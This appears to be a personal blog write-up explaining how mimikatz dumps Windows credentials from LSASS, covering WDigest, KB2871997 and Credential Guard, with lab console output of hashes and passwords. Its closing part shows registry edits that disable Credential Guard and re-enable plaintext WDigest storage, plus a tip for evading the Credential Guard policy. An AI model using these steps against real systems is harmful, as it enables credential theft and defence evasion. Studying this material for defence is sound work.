Mimikatz and password dumps

I did some reading recently on how to use mimikatz to try understand the output displayed when passwords/hashes are dumped.  This isn’t a typical walkthrough post, but rather an exposition culled from various sources to try to understand what goes on behind the scenes when dumping Windows password hashes with mimikatz.

When you dump passwords, sometimes you see them in unhashed plaintext such as this (source here):

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 372499 (00000000:0005af13)
Session           : Interactive from 0
User Name         : admin
Domain            : W07-TEST
SID               : S-1-5-21-259468869-2295567178-1167388315-1000
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : W07-TEST
         * LM       : 4223acc9b03e8b5930d8680a6e9a4ac9
         * NTLM     : d79f3c68f2c83654c3cf6b44f2be5cd0
         * SHA1     : bf49263e220f1fce85ff2dfc2d2ef05867759beb
        tspkg :
         * Username : admin
         * Domain   : W07-TEST
         * Password : c8bSG3RyAEx5mS
        wdigest :
         * Username : admin
         * Domain   : W07-TEST
         * Password : c8bSG3RyAEx5mS
        kerberos :
         * Username : admin
         * Domain   : W07-TEST
         * Password : c8bSG3RyAEx5mS
        ssp :
        credman :

Other times you’ll not be so lucky and instead see just hashes such as

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 313007 (00000000:0004c6af)
Session           : Interactive from 0
User Name         : admin
Domain            : W07-TEST
SID               : S-1-5-21-259468869-2295567178-1167388315-1000
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : W07-TEST
         * NTLM     : d79f3c68f2c83654c3cf6b44f2be5cd0
         * SHA1     : bf49263e220f1fce85ff2dfc2d2ef05867759beb
         [00010000] CredentialKeys
         * NTLM     : d79f3c68f2c83654c3cf6b44f2be5cd0
         * SHA1     : bf49263e220f1fce85ff2dfc2d2ef05867759beb
        tspkg :
        kerberos :
         * Username : admin
         * Domain   : W07-TEST
         * Password : (null)
        ssp :
        credman :

or worse a bunch of hex in wdigest such as this (from here)

Here I’ll try to shed some light on what’s going on as best I can. The first thing to understand is Local System Authority or LSA. Microsoft explains it as

The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. In addition, LSA maintains information about all aspects of local security on a computer (these aspects are collectively known as the local security policy), and it provides various services for translation between names and security identifiers (SIDs). The security system process, Local Security Authority Server Service (LSASS), keeps track of the security policies and the accounts that are in effect on a computer system.

So LSA employs a subsystem process, LSASS and this in turn stores passwords in memory

The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf of users with active Windows sessions. The stored credentials let users seamlessly access network resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without re-entering their credentials for each remote service.

LSASS can store credentials in multiple forms, including:

  • Reversibly encrypted plaintext
  • Kerberos tickets (ticket-granting tickets (TGTs), service tickets)
  • NT hash
  • LAN Manager (LM) hash

When you type sekurlsa::logonpasswords in mimikatz, it

Dumps password data in LSASS for currently logged on (or recently logged on) accounts as well as services running under the context of user credentials.

These passwords are stored in memory. But LSASS doesn’t actually do the authentication per se, it creates the security token after the authentication packages tells it the provided credentials are valid. And there are a number of authentication packages.

The role of authentication DLL is to examine whether the user’s name is in agreement with the password. If the authentication information is consistent, it returns the user’s specific information to Lsass. Lsass create the token based on this. In typically, there are MSV1_0, TsPkg, Wdigest, LiveSSP, Kerberos, and SSP for windows authentication package and each package is carried out by various usage like Remote RDP, and Web service. It has a feature that it always carries the specific data in memory for Challenge-Response method.

You’ll recognise msv, tspkg, wdigest, livessp, kerberos because they appear when you type sekurlsa::logonpasswords. These are the various authentication packages or security service providers which provides the passwords to LSASS, which in turn gets dumped by mimikatz.

History of Mimikatz

Mimikatz was created by a French hacker who first alerted Microsoft in 2011 that the ability to dump plaintext passwords from the wdigest provider in memory needed to be fixed.

Delpy pointed out that potential security lapse to Microsoft in a message submitted on the company’s support page in 2011. But he says the company brushed off his warning, responding that it wasn’t a real flaw. After all, a hacker would already have to gain deep access to a victim’s machine before he or she could reach that password in memory. Microsoft said as much in response to WIRED’s questions about Mimikatz: “It’s important to note that for this tool to be deployed it requires that a system already be compromised,” the company said in a statement. “To help stay protected, we recommend customers follow security best practices and apply the latest updates.”

Why was LSASS storing that plaintext password in memory? To facilitate single sign-on to all resources, so the user wouldn’t have to sign in repeatedly to access them.

Mimikatz first became a key hacker asset thanks to its ability to exploit an obscure Windows function called WDigest. That feature is designed to make it more convenient for corporate and government Windows users to prove their identity to different applications on their network or on the web; it holds their authentication credentials in memory and automatically reuses them, so they only have to enter their username and password once.

While Windows keeps that copy of the user’s password encrypted, it also keeps a copy of the secret key to decrypt it handy in memory, too. “It’s like storing a password-protected secret in an email with the password in the same email,” Delpy says.

But it wasn’t wdigest that mimikatz started with. It started with tspkg, then wdigest and kerberos. The SANS post is worth reading in full to get the history.

His first blog on this subject is cleverly titled “Pass the pass(word)“. In this blog, he discusses the fact that Windows Vista and higher feature a Security Support Provider (SSP) for Terminal Services named TsPkg, which provides single sign-on functionality to terminal servers. This feature can also be added to Windows XP SP3, as discussed here. Furthermore, this TechNet article discusses how to enable this SSO feature for specified terminal servers via GPO. However, as the author of the tool stated in his blog, and as my testing confirms, Windows will store the password in memory whether this feature is “enabled” via GPO or not. In other words, by default it’s always on.

A few weeks later, the author posted an update titled “Re-pass the pass(word)“, where he discusses another SSP providing similar SSO capability, named WDigest. This time it’s not only in Vista and higher, but in XP and Server 2003 also!

WDigest provides for “digest access authentication”, an extension to HTTP specified by RFC 2069 and later in RFC 2617. Direct access authentication improves upon basic access authentication, which sends credentials in the clear. Wdigest specifically supports RFC 2617, as well as RFC 2831, which is a more generic authentication mechanism (useful beyond HTTP) called Simple Authentication and Security Layer (SASL). The general idea here is that these specifications provide challenge-response authentication, whereby a challenge is issued and the responding party answers the challenge using a hashing routine that takes the clear-text password as an input. The Wikipedia article on digest access authentication is very interesting and highlights a number of problems, including the fact that the server using this scheme may in fact store the client’s password in the clear in order to verify the answer. Nevertheless, we are concerned about the client itself, which does have to store the password in the clear in order to answer a challenge from the server.

Update: After this article was published, the author of mimikatz, Benjamin Delpy, discovered that the Kerberos SSP also stores your password in memory and his tool will now dump the password from this module as discussed in his blog “Re-re-re-pass-the-pass“. After further study on Kerberos, it appears that the reason for storing the password is to allow Windows to automatically renew the Keberos Ticket Granting Ticket (TGT) without the user having to retype the password every few hours. The TGT is effectively the LM/NT hash in the Kerberos model, except that it expires and must be renewed regularly, unlike password hashes which are valid until the password is changed.

So in each of these cases, the SSP stores the clear-text password in an “encrypted” form. The encryption is implemented using the standard Win32 functions LsaProtectMemory and LsaUnprotectMemory, which “encrypts/decrypts the specified memory buffer”. The tool mimikatz is able to pull the encrypted credentials from memory and simply unencrypt them with the LsaUnprotectMemory function, reporting clear-text passwords to the console.

When the wdigest vulnerability was discovered, the only way to mitigate it was to edit the Multi-string registry key Security Packages at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa to remove wdigest from the values. This disables wdigest. Here’s what it looks like on my vulnerable Win 7 VM.

SecurityPackages_regkey.png

When done, wdigest will disappear from the list of provider credentials during a mimikatz dump:

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 313007 (00000000:0004c6af)
Session           : Interactive from 0
User Name         : admin
Domain            : W07-TEST
SID               : S-1-5-21-259468869-2295567178-1167388315-1000
        msv :
         [00000003] Primary
         * Username : admin
         * Domain   : W07-TEST
         * NTLM     : d79f3c68f2c83654c3cf6b44f2be5cd0
         * SHA1     : bf49263e220f1fce85ff2dfc2d2ef05867759beb
         [00010000] CredentialKeys
         * NTLM     : d79f3c68f2c83654c3cf6b44f2be5cd0
         * SHA1     : bf49263e220f1fce85ff2dfc2d2ef05867759beb
        tspkg :
        kerberos :
         * Username : admin
         * Domain   : W07-TEST
         * Password : c8bSG3RyAEx5mS
        ssp :
        credman :

Microsoft Update KB2871997

However, if you didn’t want to disable wdigest, or was too lazy to do it manually which would involve scripting or overwriting the local registry values with GPO you had to wait till May 2014 when Microsoft released KB2871997. This patch stopped the Kerberos security provider from storing passwords in memory:

On their monthly Patchday in May 2014, Microsoft published Security Advisory 2871997 which deals with the caching of passwords. Among other things, it even implements countermeasures. LSASS was defined as a protected process. This means that only signed programs can access the process. And in Kerberos, the caching of passwords in plaintext was disabled.

Microsoft explained in a Nov 2014 post that they had deliberately left out wdigest when they stopped security service providers from storing passwords in memory to ensure backwards compatibility with use cases such as IIS servers.

Prior to this hotfix there were a number of locations where tools such as mimikatz/wce would dump clear text credentials from LSA memory on a system. With this hotfix applied “most” of those locations were fixed however due to possible issues with backwards compatibility and the desire to not break our customers environments the Wdigest SSP was left enabled. Unfortunately due to the way this authentication provider works it requires that the clear text credentials be stored in order for it to perform SSO authentication to Wdigest resources. In general Wdigest is typically used for IIS servers with it enabled.

This update prevents mimikatz from displaying the plaintext password by the wdigest provider. Instead you would see this (from my Win 7 SP1 7601 VM):

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 145971 (00000000:00023a33)
Session           : Interactive from 1
User Name         : Ivan
Domain            : Ivan-PC
Logon Server      : IVAN-PC
Logon Time        : 3/9/2019 11:54:11 PM
SID               : S-1-5-21-4066856272-1925119313-3641309766-10
        msv :
         [00000003] Primary
         * Username : Ivan
         * Domain   : Ivan-PC
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
         [00010000] CredentialKeys
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
        tspkg :
        wdigest :
         * Username : Ivan
         * Domain   : Ivan-PC
         * Password : (null)
        kerberos :
         * Username : Ivan
         * Domain   : Ivan-PC
         * Password : (null)
        ssp :
        credman :

The setting which controls this can be checked with

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

If the key value is 0 you are protected unless you’re running Windows Server 2003/2008, which case you’re probably better off disabling wdigest as above. The article referenced also includes a handy table

From the table above, you can see that Windows 7, 8, Server 2008 R2 and Server 2012  are by default unprotected and will leak plaintext wdigest passwords via mimikatz. However, if you add the DWORD registry keyword UseLogonCredentialand set to 0

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0

C:\Mimikatz>reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
    Debuglevel    REG_DWORD    0x0
    Negotiate    REG_DWORD    0x0
    UTF8HTTP    REG_DWORD    0x1
    UTF8SASL    REG_DWORD    0x1
    DigestEncryptionAlgorithms    REG_SZ    3des,rc4
    UseLogonCredential    REG_DWORD    0x0

wdigest will display (null) for passwords

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 146288 (00000000:00023b70)
Session           : Interactive from 1
User Name         : Ivan
Domain            : Ivan-PC
Logon Server      : IVAN-PC
Logon Time        : 7/9/2019 12:34:50 AM
SID               : S-1-5-21-4066856272-1925119313-3641309766-1001
        msv :
         [00000003] Primary
         * Username : Ivan
         * Domain   : Ivan-PC
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
         [00010000] CredentialKeys
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
        tspkg :
        wdigest :
         * Username : Ivan
         * Domain   : Ivan-PC
         * Password : (null)
        kerberos :
         * Username : Ivan
         * Domain   : Ivan-PC
         * Password : (null)
        ssp :
        credman :

However, note that as above regardless of whether the password is displayed in plaintext above by either kerberos or wdigest, the hashes are leaked via msv and the above hash easily translates to ‘password’ with NTLM Cracker. Not all NTLM hashes are easily cracked though.

What about the case in the first pic above where instead of a password in the wdigest credentials, you see a long hexadecimal string? Thanks to Secarma Labs, who contacted mimikatz’s author who explained in a comment that if mimikatz finds that a password has non-ASCII characters, it prints everything out in hex instead. This typically applies to passwords of service or computer accounts in Active Directory, whose passwords are never entered by humans and automatically managed by AD.

But why  does Windows store the passwords in plaintext in memory? Stackoverflow explains that

This is to allow the user access when there is no domain controller. If you’ve ever turned off a domain joined computer, disconnected it from the domain, and turned it back on, you’d notice you can still log in with the domain account you usually use.

Regardless of whether you disable or enable WDigest, Windows will still store cleartext credentials for Kerberos authentication, so that it can renew tickets and stuff without you having to type the password every time. It’s not necessarily a Windows issue, as it’s the same for Linux and OS X.

Credential Guard

Windows 8.1 and above and Windows Server 2012 R2 and above are automatically protected even without having that registry key at all. A Microsoft engineer has explained that later Windows versions, passwords are no longer kept in LSASS but instead in secure virtualized environments:

Microsoft recently released KB2871997 for Windows 7, Windows 8, Windows Server 2008R2, and Windows Server 2012.This update prevents every Microsoft SSP in LSASS, besides WDigest, from storing the user’s clear-text password. WDigest still stores the user’s clear-text password because it cannot function without the user’s password (Microsoft does not want to break existing customer setups by shipping an update to disable this). Microsoft recommends users look through their domain controller logs for Digest authentication logons (instructions provided below); if Digest authentication is not being used, customers can apply the FixIt found on the KB article to disable WDigest. Doing this will eliminate all clear-text credentials from LSASS memory.

And win10/windows server 2016 has a new technology called CredentialGuard, which isolates secrets in virtualized secure environments rather than storing everything in LSA like they used to. 

There’s a technical article by Microsoft on how these magical virtualized environments really work here. Do note if you want to enable Credential Guard on Windows installed on Hyper-V VMs, you need to create a Generation 2 VM and meet these requirements

Requirements for running Windows Defender Credential Guard in Hyper-V virtual machines

  • The Hyper-V host must have an IOMMU, and run at least Windows Server 2016 or Windows 10 version 1607.
  • The Hyper-V virtual machine must be Generation 2, have an enabled virtual TPM, and be running at least Windows Server 2016 or Windows 10.

Does that mean that mimikatz can no longer dump hashes because of Credential Guard? Well this seems so, unless the user somehow enters the passwords after mimikatz is already running on the system. But here’s the catch, Credential Guard itself can be turned off by editing the registry with a high integrity admin cmd shell . Let’s first look at what mimikatz dumps with Credential Guard enabled on Server 2016 Datacenter Evaluation 10.0.14393 N/A Build 14393

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 139353 (00000000:00022059)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WIN-DMO5GOJJ98O
Logon Server      : WIN-DMO5GOJJ98O
Logon Time        : 5/9/2019 5:57:37 PM
SID               : S-1-5-21-1996551278-1751321909-1607127262-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN-DMO5GOJJ98O
           * LSA Isolated Data: NtlmHash
             Unk-Key  : 7eb2fc64fa39499f4b333681be15750a5f8a6b97ff55b98a2b634ecb44fc9eb4b44d4ee3252e1529afd31396b95a5e94
             Encrypted: 7373f696923c97e9cd0662a746aa8d1d5f6b71347f544d1a69d50cd5d68104fa31a60f012fd23e09a398541bb053a32fb1a1291b
                   SS:160, TS:8, DS:52
                   0:0x0, 1:0x64, 2:0x1, 3:0x101, 4:0x0, E:01000000000000000000000000000000, 5:0x8001
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN-DMO5GOJJ98O
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : WIN-DMO5GOJJ98O
         * Password : (null)
        ssp :
        credman :

Wow amazing, we can’t even see the NTLM hash with Credential Guard enabled. You can tell Credential Guard is enabled when you see LsaIso.exe in tasklist. To disable Credential Guard, edit these registry keys via cmd this way.

  1. Enable virtualization-based security:
    • Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\DeviceGuard.
    • Add a new DWORD value named EnableVirtualizationBasedSecurity. Set the value of this registry setting to 1 to enable virtualization-based security and set it to 0 to disable it.
    • Add a new DWORD value named RequirePlatformSecurityFeatures. Set the value of this registry setting to 1 to use Secure Boot only or set it to 3 to use Secure Boot and DMA protection.
  2. Enable Windows Defender Credential Guard:
    • Go to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA.
    • Add a new DWORD value named LsaCfgFlags. Set the value of this registry setting to 1 to enable Windows Defender Credential Guard with UEFI lock, set it to 2 to enable Windows Defender Credential Guard without lock, and set it to 0 to disable it.

Once done, it seems you need to restart the machine. Killing LsaIso.exewith taskkill alone doesn’t seem to help. Once rebooted, check the process isn’t running and mimikatz will dump the NTLM hashes.

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 201721 (00000000:000313f9)
Session           : Interactive from 1
User Name         : Administrator
Domain            : ADLUNCHES
Logon Server      : AD-TEST
Logon Time        : 5/9/2019 16:18:02
SID               : S-1-5-21-3522669553-4001580309-4247294515-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : ADLUNCHES
         * NTLM     : 64f12cddaa88057e06a81b54e73b949b
         * SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8
         * DPAPI    : d9d7c7b7b6ba4383594fbaaaaafc22db
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : ADLUNCHES
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : ADLUNCHES.TEST
         * Password : (null)
        ssp :
        credman :

Ta-da. So it seems there’s no really no inbuilt Windows defense against mimikatz dumping hashes. To display plaintext passwords for wdigest again, just edit UseLogonCredential to 1 at HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. And hey presto the passwords appear in plaintext again. Here’s a video on how to do it

In any modern enterprise network though, rebooting the machine would alert monitoring software or if that machine is joined to a domain the GPO enforcing Credential Guard could turn it back on upon restart. But if it already had SYSTEM rights, you could just remove it from the AD domain to prevent the Cred Guard GPO from being pushed down in the first place 🙂

References

https://www.scip.ch/en/?labs.20140710

https://blog.stealthbits.com/wdigest-clear-text-passwords-stealing-more-than-a-hash/

https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/

https://www.sans.org/reading-room/whitepapers/intrusion/paper/36780

https://blog.stealthbits.com/defender-credential-guard-protecting-your-hashes/

https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-and-credential-guard-demystified/